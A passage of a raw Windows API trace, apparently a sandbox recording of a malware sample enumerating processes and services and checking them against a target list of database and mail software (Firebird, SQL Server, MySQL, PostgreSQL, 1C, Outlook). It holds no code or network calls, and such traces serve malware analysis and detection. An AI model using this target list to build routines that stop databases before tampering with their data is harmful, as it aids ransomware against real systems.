szExeFile="svchost.exe")) returned 1 [0150.271] lstrlenW (lpString="svchost.exe") returned 11 [0150.271] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0150.271] lstrlenW (lpString="explorer.exe") returned 12 [0150.271] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.271] lstrlenW (lpString="dwm.exe") returned 7 [0150.271] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.272] lstrlenW (lpString="svchost.exe") returned 11 [0150.272] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0150.272] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0150.272] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0150.273] lstrlenW (lpString="spoolsv.exe") returned 11 [0150.273] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0150.273] lstrlenW (lpString="reader_sl.exe") returned 13 [0150.273] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.273] lstrlenW (lpString="svchost.exe") returned 11 [0150.273] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0150.274] lstrlenW (lpString="taskhost.exe") returned 12 [0150.274] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0150.274] CloseHandle (hObject=0x390) returned 1 [0150.274] Sleep (dwMilliseconds=0x1f4) [0150.849] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b618 [0150.865] EnumServicesStatusExW (in: hSCManager=0x428b618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0150.865] GetLastError () returned 0xea [0150.865] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe3c) returned 0x4241058 [0150.866] EnumServicesStatusExW (in: hSCManager=0x428b618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xe3c, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0150.884] CloseServiceHandle (hSCObject=0x428b618) returned 1 [0150.884] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0150.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.884] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0150.884] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0150.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0150.884] lstrlenW (lpString="AudioSrv") returned 8 [0150.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0150.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0150.884] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0150.884] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0150.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0150.884] lstrlenW (lpString="BFE") returned 3 [0150.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0150.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0150.884] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0150.884] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0150.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0150.884] lstrlenW (lpString="CryptSvc") returned 8 [0150.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0150.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0150.884] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0150.884] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0150.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0150.885] lstrlenW (lpString="CscService") returned 10 [0150.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0150.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0150.885] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0150.885] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0150.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0150.885] lstrlenW (lpString="DcomLaunch") returned 10 [0150.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0150.885] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0150.885] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0150.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0150.885] lstrlenW (lpString="Dhcp") returned 4 [0150.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0150.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0150.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0150.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0150.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0150.885] lstrlenW (lpString="Dnscache") returned 8 [0150.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0150.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0150.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0150.885] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0150.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0150.885] lstrlenW (lpString="DPS") returned 3 [0150.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0150.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0150.885] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0150.885] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0150.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0150.885] lstrlenW (lpString="eventlog") returned 8 [0150.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0150.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0150.885] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0150.885] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0150.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0150.886] lstrlenW (lpString="EventSystem") returned 11 [0150.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0150.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0150.886] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0150.886] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0150.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0150.886] lstrlenW (lpString="gpsvc") returned 5 [0150.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0150.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0150.886] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0150.886] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0150.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0150.886] lstrlenW (lpString="iphlpsvc") returned 8 [0150.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0150.886] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0150.886] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0150.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0150.886] lstrlenW (lpString="LanmanWorkstation") returned 17 [0150.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0150.886] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0150.886] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0150.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0150.886] lstrlenW (lpString="lmhosts") returned 7 [0150.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0150.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0150.886] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0150.886] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0150.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0150.886] lstrlenW (lpString="MMCSS") returned 5 [0150.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0150.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0150.886] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0150.887] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0150.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0150.887] lstrlenW (lpString="MpsSvc") returned 6 [0150.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0150.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0150.887] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0150.887] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0150.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0150.887] lstrlenW (lpString="NlaSvc") returned 6 [0150.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0150.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0150.887] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0150.887] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0150.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0150.887] lstrlenW (lpString="nsi") returned 3 [0150.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0150.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0150.887] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0150.887] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0150.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0150.887] lstrlenW (lpString="PcaSvc") returned 6 [0150.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0150.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0150.887] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0150.887] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0150.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0150.887] lstrlenW (lpString="PlugPlay") returned 8 [0150.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0150.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0150.887] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0150.887] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0150.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0150.887] lstrlenW (lpString="Power") returned 5 [0150.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0150.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0150.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0150.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0150.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0150.888] lstrlenW (lpString="ProfSvc") returned 7 [0150.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0150.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0150.888] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0150.888] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0150.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0150.888] lstrlenW (lpString="RpcEptMapper") returned 12 [0150.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0150.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0150.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0150.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0150.888] lstrlenW (lpString="RpcSs") returned 5 [0150.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0150.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0150.888] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0150.888] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0150.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0150.888] lstrlenW (lpString="SamSs") returned 5 [0150.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0150.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0150.888] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0150.888] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0150.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0150.888] lstrlenW (lpString="Schedule") returned 8 [0150.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0150.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0150.888] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0150.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0150.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0150.888] lstrlenW (lpString="SENS") returned 4 [0150.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0150.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0150.888] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0150.889] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0150.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0150.889] lstrlenW (lpString="ShellHWDetection") returned 16 [0150.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0150.889] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0150.889] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0150.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0150.889] lstrlenW (lpString="Spooler") returned 7 [0150.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0150.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0150.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0150.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0150.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0150.889] lstrlenW (lpString="SysMain") returned 7 [0150.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0150.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0150.889] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0150.889] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0150.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0150.889] lstrlenW (lpString="Themes") returned 6 [0150.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0150.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0150.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0150.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0150.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0150.889] lstrlenW (lpString="TrkWks") returned 6 [0150.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0150.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0150.889] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0150.889] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0150.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0150.889] lstrlenW (lpString="UxSms") returned 5 [0150.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0150.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0150.889] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0150.890] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0150.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0150.890] lstrlenW (lpString="Winmgmt") returned 7 [0150.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0150.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0150.890] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0150.890] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0150.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0150.890] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0150.890] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d4 [0150.892] Process32FirstW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0150.892] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0150.892] lstrlenW (lpString="System") returned 6 [0150.892] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0150.892] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0150.892] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0150.892] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0150.892] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0150.892] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0150.892] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0150.892] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0150.893] lstrlenW (lpString="smss.exe") returned 8 [0150.893] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0150.893] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0150.893] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0150.893] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0150.893] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0150.893] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0150.893] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0150.893] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.893] lstrlenW (lpString="csrss.exe") returned 9 [0150.893] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0150.893] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0150.893] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0150.893] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0150.893] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0150.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0150.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0150.894] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0150.894] lstrlenW (lpString="wininit.exe") returned 11 [0150.894] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0150.894] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0150.894] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0150.894] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0150.894] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0150.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0150.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0150.894] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0150.895] lstrlenW (lpString="csrss.exe") returned 9 [0150.895] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0150.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0150.895] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0150.895] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0150.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0150.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0150.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0150.895] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0150.895] lstrlenW (lpString="winlogon.exe") returned 12 [0150.895] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0150.895] 